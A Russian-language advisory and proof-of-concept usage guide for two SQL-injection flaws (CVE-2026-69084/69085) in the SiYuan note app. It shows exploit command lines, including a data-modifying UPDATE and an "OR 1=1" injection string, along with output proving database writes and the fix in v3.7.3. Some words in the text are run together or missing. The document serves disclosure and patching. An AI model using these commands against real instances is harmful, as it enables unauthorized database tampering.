
CVE-2026-69084/69085 — произвольное выполнение SQL в SiYuan через searchEmbedBlock + SQL-инъекцию в searchDocs (CVSS 9.9). Проверено на v3.7.2, отклонено в v3.7.3.
CVE-2026-69084: произвольное выполнение SQL через /api/search/searchEmbedBlock
CVE-2026-69085: SQL-инъекция через /api/filetree/searchDocs
CVSS 9.9 (критический) для каждой · CWE-89 · SiYuan <= v3.7.2 (исправлено в v3.7.3)
Опубликовано 2026-08-03 · на момент публикации публичного PoC нет
SiYuan (приложение для заметок с открытым исходным кодом, github.com/siyuan-note/siyuan) предоставляет
две конечные точки API, которые передают управляемый атакующим SQL в свою базу данных SQLite:
CVE-2026-69084 — /api/search/searchEmbedBlock:
Параметр stmt передаётся дословно в основной дескриптор чтения-записи
siyuan.db без каких-либо ограничений на одиночный оператор или режим «только чтение». Драйвер
SQLite выполняет составные (разделённые точкой с запятой) операторы, поэтому
атакующий может выполнить / / / / с чем угодно в
базе данных. Ограничено только — доступно с токеном RoleReader для публикации,
или анонимно, когда в режиме публикации установлено .
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
Параметр keyword напрямую конкатенируется в SQL без экранирования
или привязки параметров.
Обе уязвимости исправлены в v3.7.3 с помощью sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox().
# 1. Неразрушающая проверка (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. Доказательство записи в БД: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Выполнение произвольного SQL (поддерживаются составные операторы)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. SQL-инъекция searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Если экземпляр запущен с включённым режимом публикации и отключённой аутентификацией
(Publish.Auth.Enable=false), --auth вообще не требуется.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL принят (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL принят (blocks: 0)
[+] ДОКАЗАТЕЛЬСТВО ЗАПИСИ В БД ЗАВЕРШЕНО — таблица pwn_69084 + строка 31337 в siyuan.db
# На хосте:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
Исправленная v3.7.3 отклоняет те же запросы:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT по-прежнему работает (легитимная функциональность сохранена)Python-PoC выполняет вход в сессию (/api/system/loginAuth) для получения
cookie аутентификации, затем отправляет POST-запрос на уязвимую конечную точку. Протестировано против
b3log/siyuan:v3.7.2 (уязвимая) и b3log/siyuan:v3.7.3 (исправленная).
Publish.Auth.Enable=true и
используйте надёжные токены RoleReader.Только для авторизованного тестирования безопасности и образовательных целей.